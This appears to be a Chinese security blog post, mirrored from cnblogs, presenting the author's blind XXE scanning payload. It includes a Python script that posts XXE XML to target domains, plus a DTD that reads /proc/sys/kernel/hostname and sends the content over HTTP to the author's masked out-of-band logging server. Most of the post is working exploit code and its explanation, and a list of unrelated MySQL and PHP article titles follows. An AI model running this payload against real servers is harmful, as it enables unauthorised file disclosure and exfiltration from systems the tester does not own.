zoukankan      html  css  js  c++  java
  • 个人XXE新扫描payload

    0X01 旧的 xxe poc

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "{dnslog_url}">
    %remote;
    ]>
    

    该poc只能证明服务器请求过第三方dtd,但无法验证是否运行、是否读取了文件是否发出来信息

    每次验证的时候,都需要在公网主机上建一个 xx.xml放置dtd,dtd再读文件指向dns或ftp,颇为麻烦

    0X02 新的 xxe poc+exp

    想起来我还有个自己搭建的dnslog + http log 平台

    import requests
    
    
    def exp_xxe_vul(domain):
        my_xml = "http://域名手动打码.info/%s/3mognym4" % domain.replace(".", "-")
        target = domain
        schemes = ["http://", "https://"]
        APPEND_PATHS = ["/test"]
        headers = {
            "Content-Type": "application/soap+xml"
        }
        post_data = """<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "{my_xml}">
    %remote;]>
    <root/>
        """
        post_data = post_data.format(my_xml=my_xml)
        for scheme in schemes:
            domain = scheme + target
            print(domain)
            for APPEND_PATH in APPEND_PATHS:
                url = domain + APPEND_PATH
                try:
                    a = requests.post(url, post_data, headers=headers, timeout=7)
                except:
                    pass
    

    dtd由DNSLOG平台的http response功能提供
    在获取DTD的时候,会附带上 domain.replace(".", "-")也就是域名的信息。

    DTD
    <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://域名手动打码.info/3mognym4/%file;'>">
    %int;
    %send;
    

    获取DTD之后,读取文件,将主机名用http的方式再发送到该页面来 (A页面 -> DTD -> A页面)
    这里为什么不用dns的方式,因为文件中的换行符空格等可能阻断dns信息的传输

    0X03 效果


    下面的先出现的记录获取了域名信息
    上面的后出现的记录获取了文件信息

    妙极,域名和exp拿到的主机名对得上了

  • 相关阅读:
    关于MySQL相关的查看显示信息:
    学习笔记:MySQL列属性
    学习笔记:MySQL字符串类型
    学习笔记:MySQL操作初步
    学习笔记:MySQL数据库初步 概念
    PHP就业班心得:IP与域名以及DNS和端口号的概念
    PHP就业班心得:PHP的基本含义与功能特点
    PHP基础班初学感悟
    PHP基础班初学心得:用JQ实现表单的全选、反选、取消和删除功能
    PHP基础班初学心得:JS里inner的一些理解
  • 原文地址:https://www.cnblogs.com/huim/p/12836981.html
Copyright © 2011-2022 走看看